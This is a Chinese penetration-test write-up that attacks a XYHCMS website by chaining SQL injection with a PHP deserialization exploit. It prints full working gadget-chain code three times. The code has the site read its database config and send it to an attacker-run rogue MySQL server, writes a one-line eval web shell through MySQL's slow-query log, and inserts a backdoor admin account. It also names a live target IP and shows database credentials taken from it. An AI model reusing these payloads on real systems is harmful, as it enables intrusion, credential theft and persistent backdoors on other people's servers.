scaner从外网到拿下域控
前言
这是个人moonsec考核的出师文章
信息收集
目录扫描
打开了站点很明显发现了这是个xyhcms,先使用御剑扫一波目录,未发现敏感信息。
漏洞整理
从网上查找该cms的一些相关的漏洞,找到了一个前台SQL注入和一些后台getshell,以及反序列化漏洞。
前台SQL注入:http://althims.com/2020/02/03/xyhcms-3-6/
后台getshell:https://h3art3ars.github.io/2020/01/27/xyhcms%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/
反序列化:https://www.anquanke.com/post/id/232823
在本地搭建xyhcms进行测试
搭建使用的是phpstudy集成工具
前台SQL注入
1 2
| http: ?orderby[updatexml(1,concat(char(126),(select database()),char(126)),1);]=1
|

通过日志查看结果:成功执行user()

反序列化
查看前面看到的反序列化文章,这个反序列化漏洞,事先需要拿到key,在本地导出了SQL文件能查询到这个key,说明该key是存在于数据库中的,可以结合前面的SQL注入拿到。
然后通过查看日志拿到key:iqQmhxkAU
注册一个会员

登录之后抓包

伪造nickname的值可以操作数据库
恶意MySQL服务器读取数据库文件
让系统报错,拿到绝对路径:
xyh.com/App/Api/Conf/config.php
绝对路径:
C:\phpstudy_pro\WWW\xyh.com\App\Api\Conf\config.php

数据库配置文件的默认路径:xyhcms\\App\\Common\\Conf\\db.php
构建的地址为:C:\\phpstudy_pro\\WWW\\xyh.com\\App\\Common\\Conf\\db.php
启动MySQL服务:
python rogue_mysql_server.py
设置POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113
| <?php namespace Think\Db\Driver; use PDO; class Mysql{ protected $options = array( PDO::MYSQL_ATTR_LOCAL_INFILE => true ); protected $config = array( "dsn" => "mysql:host=192.168.8.133;dbname=xyhcms;port=3306", "username" => "root", "password" => "123456" ); }
namespace Think; class Model{ protected $options = array(); protected $pk; protected $data = array(); protected $db = null; public function __construct(){ $this->db = new \Think\Db\Driver\Mysql(); $this->options['where'] = ''; $this->pk = 'luoke'; $this->data[$this->pk] = array( "table" => "xyh_admin_log", "where" => "id=0;" ); } }
namespace Think\Session\Driver; class Memcache{ protected $handle; public function __construct() { $this->handle = new \Think\Model(); } }
namespace Think\Image\Driver; class Imagick{ private $img; public function __construct() { $this->img = new \Think\Session\Driver\Memcache(); } }
namespace Common\Lib; class SysCrypt{
private $crypt_key; public function __construct($crypt_key) { $this -> crypt_key = $crypt_key; } public function php_encrypt($txt) { srand((double)microtime() * 1000000); $encrypt_key = md5(rand(0,32000)); $ctr = 0; $tmp = ''; for($i = 0;$i<strlen($txt);$i++) { $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr; $tmp .= $encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr++]); } return base64_encode(self::__key($tmp,$this -> crypt_key)); } public function php_decrypt($txt) { $txt = self::__key(base64_decode($txt),$this -> crypt_key); $tmp = ''; for($i = 0;$i < strlen($txt); $i++) { $md5 = $txt[$i]; $tmp .= $txt[++$i] ^ $md5; } return $tmp; } private function __key($txt,$encrypt_key) { $encrypt_key = md5($encrypt_key); $ctr = 0; $tmp = ''; for($i = 0; $i < strlen($txt); $i++) { $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr; $tmp .= $txt[$i] ^ $encrypt_key[$ctr++]; } return $tmp; } public function __destruct() { $this -> crypt_key = null; } }
function get_cookie($name, $key = '') { $key = 'iqQmhxkAU'; $key = md5($key); $sc = new \Common\Lib\SysCrypt($key); $value = $sc->php_decrypt($name); return unserialize($value); }
function set_cookie($args, $key = '') { $key = 'iqQmhxkAU'; $value = serialize($args); $key = md5($key); $sc = new \Common\Lib\SysCrypt($key); $value = $sc->php_encrypt($value); return $value; }
$b = new \Think\Image\Driver\Imagick(); $a = set_cookie($b,''); echo str_replace('+','%2B',$a); ?>
|
生成序列化参数:

发送数据,成功伪造。

查看结果

反序列化漏洞MySQL日志写shell
开启慢查询日志:
set global slow_query_log=1;
指定慢查询日志的位置:
set global slow_query_log_file='C:/phpstudy_pro/WWW/xyh.com/shell.php';
生成反序列化,然后构造之后发包请求,成功写入shell,(这里需要注意在一句话木马的变量传参中添加个转义“\”,不然不能完整写入)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117
| <?php namespace Think\Db\Driver; use PDO; class Mysql{ protected $options = array( PDO::MYSQL_ATTR_LOCAL_INFILE => true ); protected $config = array( "dsn" => "mysql:host=localhost;dbname=xyhcms;port=3306", "username" => "root", "password" => "qweas123" ); }
namespace Think; class Model{ protected $options = array(); protected $pk; protected $data = array(); protected $db = null; protected $poss = '$_POST[1]'; public function __construct(){ $this->db = new \Think\Db\Driver\Mysql(); $this->options['where'] = ''; $this->pk = 'luoke'; $this->data[$this->pk] = array( "table" => "xyh_admin_log", "where" => "id=0;select '<?php @eval(\$_POST[1]);?>' or sleep(11);" ); } }
namespace Think\Session\Driver; class Memcache{ protected $handle; public function __construct() { $this->handle = new \Think\Model(); } }
namespace Think\Image\Driver; class Imagick{ private $img; public function __construct() { $this->img = new \Think\Session\Driver\Memcache(); } }
namespace Common\Lib; class SysCrypt{
private $crypt_key; public function __construct($crypt_key) { $this -> crypt_key = $crypt_key; } public function php_encrypt($txt) { srand((double)microtime() * 1000000); $encrypt_key = md5(rand(0,32000)); $ctr = 0; $tmp = ''; for($i = 0;$i<strlen($txt);$i++) { $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr; $tmp .= $encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr++]); } return base64_encode(self::__key($tmp,$this -> crypt_key)); } public function php_decrypt($txt) { $txt = self::__key(base64_decode($txt),$this -> crypt_key); $tmp = ''; for($i = 0;$i < strlen($txt); $i++) { $md5 = $txt[$i]; $tmp .= $txt[++$i] ^ $md5; } return $tmp; } private function __key($txt,$encrypt_key) { $encrypt_key = md5($encrypt_key); $ctr = 0; $tmp = ''; for($i = 0; $i < strlen($txt); $i++) { $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr; $tmp .= $txt[$i] ^ $encrypt_key[$ctr++]; } return $tmp; } public function __destruct() { $this -> crypt_key = null; } }
function get_cookie($name, $key = '') { $key = 'iqQmhxkAU'; $key = md5($key); $sc = new \Common\Lib\SysCrypt($key); $value = $sc->php_decrypt($name); return unserialize($value); }
function set_cookie($args, $key = '') { $key = 'iqQmhxkAU'; $value = serialize($args); $key = md5($key); $sc = new \Common\Lib\SysCrypt($key); $value = $sc->php_encrypt($value); return $value; }
$b = new \Think\Image\Driver\Imagick(); $a = set_cookie($b,''); echo str_replace('+','%2B',$a); ?>
|
至此成功在本地window搭建的phpstudy环境getshell

尝试线上环境
当我喜出望外拿这个方法到线上去测试的时候,发现现实是残酷的。
所有的请求都成功了,但是就是写不进shell。


于是放弃了,然后打算再重新捋一遍,然后在本地搭建模拟线上的环境。
本地搭建宝塔环境测试
使用宝塔搭建完成靶场之后,开始前面的一系列反序列化堆叠注入日志写shell的操作。
发现也也不进去,看了一下是权限的问题,文件夹改成了777权限之后,成功写入shell

尝试连接,发现没用访问权限

使用chown更改属组之后,才能正常访问,也就是说想通过反序列化堆叠SQL日志写shell是几乎不可能的


代码审计
开启伪静态:

目前的情况是能够通过反序列化添加管理员进入后台,在本地尝试了多个网上找到的后台getshell都无果,打算开始看看代码有没有新的入口。前面测试写入shell访问的时候,发现会自动加载一会儿,然后跳出404.html页面。
在后台里面尝试上传的地方,可以添加上传类型txt,html。
直接查看404.html,查看到嵌入有一些php代码,是获取当前时间的一段代码,也就是说这一个页面极有可能也是可以进行php解析的。

当我尝试改为phpinfo的时候,发现了报错


查看了过滤的代码之后,这里过滤了php相关字符的一些危险字符。


这时候尝试通过文件包含的方式去测试,在404.html页面中添加一些语句包含上传的一些代码,尝试解析。


在页面输入一个不存在的文件,尝试访问让其跳转到404.html,然后再包含上传的文件进行解析。

至此,成功getshell。
外部打点
SQL注入拿key
查询当前key:

通过日志查看结果:

拿到key为:P4tzizR6d
反序列化漏洞利用
注册一个会员:


登录之后抓包

伪造nickname的值


恶意MySQL服务器读取数据库文件
让系统报错,拿到绝对路径:
http://103.121.93.206/App/Api/Conf/config.php
绝对路径:
/www/wwwroot/www.xycms.com/App/Api/Conf/config.php

查询知道xyhcms的数据库配置文件默认为:xyh.com\\App\\Common\\Conf\\db.php
结合上面知道的绝对路径进行构造:/www/wwwroot/www.xycms.com/App/Common/Conf/db.php

使用poc生成反序列化payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113
| <?php namespace Think\Db\Driver; use PDO; class Mysql{ protected $options = array( PDO::MYSQL_ATTR_LOCAL_INFILE => true ); protected $config = array( "dsn" => "mysql:host=your-vps;dbname=xyhcms;port=3307", "username" => "root", "password" => "123456" ); }
namespace Think; class Model{ protected $options = array(); protected $pk; protected $data = array(); protected $db = null; public function __construct(){ $this->db = new \Think\Db\Driver\Mysql(); $this->options['where'] = ''; $this->pk = 'luoke'; $this->data[$this->pk] = array( "table" => "xyh_admin_log", "where" => "id=0;" ); } }
namespace Think\Session\Driver; class Memcache{ protected $handle; public function __construct() { $this->handle = new \Think\Model(); } }
namespace Think\Image\Driver; class Imagick{ private $img; public function __construct() { $this->img = new \Think\Session\Driver\Memcache(); } }
namespace Common\Lib; class SysCrypt{
private $crypt_key; public function __construct($crypt_key) { $this -> crypt_key = $crypt_key; } public function php_encrypt($txt) { srand((double)microtime() * 1000000); $encrypt_key = md5(rand(0,32000)); $ctr = 0; $tmp = ''; for($i = 0;$i<strlen($txt);$i++) { $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr; $tmp .= $encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr++]); } return base64_encode(self::__key($tmp,$this -> crypt_key)); } public function php_decrypt($txt) { $txt = self::__key(base64_decode($txt),$this -> crypt_key); $tmp = ''; for($i = 0;$i < strlen($txt); $i++) { $md5 = $txt[$i]; $tmp .= $txt[++$i] ^ $md5; } return $tmp; } private function __key($txt,$encrypt_key) { $encrypt_key = md5($encrypt_key); $ctr = 0; $tmp = ''; for($i = 0; $i < strlen($txt); $i++) { $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr; $tmp .= $txt[$i] ^ $encrypt_key[$ctr++]; } return $tmp; } public function __destruct() { $this -> crypt_key = null; } }
function get_cookie($name, $key = '') { $key = 'P4tzizR6d'; $key = md5($key); $sc = new \Common\Lib\SysCrypt($key); $value = $sc->php_decrypt($name); return unserialize($value); }
function set_cookie($args, $key = '') { $key = 'P4tzizR6d'; $value = serialize($args); $key = md5($key); $sc = new \Common\Lib\SysCrypt($key); $value = $sc->php_encrypt($value); return $value; }
$b = new \Think\Image\Driver\Imagick(); $a = set_cookie($b,''); echo str_replace('+','%2B',$a); ?>
|

VPS进行监听:
python rogue_mysql_server.py

发送构造好的payload

VPS上查看日志:

拿到数据库的配置文件:
1
| "\x02<?php return array (\n 'DB_TYPE' => 'mysqli',\n 'DB_HOST' => '127.0.0.1',\n 'DB_PORT' => '3306',\n 'DB_USER' => 'root',\n 'DB_PWD' => '9a973fd7928bb3c2',\n 'DB_NAME' => 'www_xycms_com',\n 'DB_PREFIX' => 'xyh_',\n 'DB_CHARSET' => 'utf8',\n);?>"
|
堆叠插入管理员用户
账号:sfmtql
密码:xxxxxx
1
| "where" => "id=0;insert into xyh_admin (id,username,password,encrypt,user_type,is_lock,login_num) VALUES (61,'sfmtql','d4404a35b6d63a48d3b15f9bb5ffb6ba','WDdJDu',9,0,4);" |